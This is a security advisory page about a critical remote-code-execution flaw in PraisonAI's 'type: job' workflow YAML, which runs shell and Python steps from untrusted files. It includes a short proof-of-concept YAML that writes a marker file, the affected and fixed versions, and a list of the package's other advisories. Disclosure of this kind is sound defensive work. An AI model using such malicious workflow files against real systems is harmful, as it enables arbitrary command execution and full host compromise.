Critical

PraisonAI has critical RCE via `type: job` workflow YAML

  • Disclosed: 10.04.2026
  • Updated: 11.10.2026 14:17

praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in job_workflow.py.

This supports:

  • run: → shell command execution via subprocess.run()
  • script: → inline Python execution via exec()
  • python: → arbitrary Python script execution

A malicious YAML file can execute arbitrary host commands.

Affected Code

  • workflow.py → action_run()
  • job_workflow.py → _exec_shell(), _exec_inline_python(), _exec_python_script()

PoC

Create exploit.yaml:

yaml
type: job
 name: exploit
steps:
  - name: write-file
    run: python -c "open('pwned.txt','w').write('owned')"

Run:

bash
praisonai workflow run exploit.yaml

Reproduction Steps

  1. Save the YAML above as exploit.yaml.
  2. Execute praisonai workflow run exploit.yaml.
  3. Confirm pwned.txt appears in the working directory.

Impact

Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.

Reporter: Lakshmikanthan K (letchupkt)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.139 4.5.139
Python (PyPI) praisonaiagents < 1.5.140 1.5.140

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78, CWE-94
Platform
Python (PyPI)
Package
praisonai, praisonaiagents
Disclosed
10.04.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-488 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vc46-vw85-3wvm - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-477 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  3. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  4. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  5. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  6. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  7. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  8. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  9. High CVE-2026-47397 < 4.6.40 4.6.40
  10. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  11. PraisonAI has critical RCE via `type: job` workflow YAML this entry
    Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  12. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  13. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  14. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  15. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  16. Critical CVE-2026-35615 < 1.5.113 1.5.113
  17. High · 8.1 CVE-2026-39307 < 4.5.113 4.5.113
  18. Critical · 9.1 CVE-2026-34953 < 4.5.97 4.5.97
  19. Critical · 9.1 CVE-2026-34952 < 4.5.97 4.5.97
  20. High · 7.7 CVE-2026-34936 < 4.5.90 4.5.90
  21. Critical · 9.8 CVE-2026-34934 < 4.5.90 4.5.90
  22. Critical · 9.8 CVE-2026-34935 >= 4.5.15, < 4.5.69 4.5.69

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.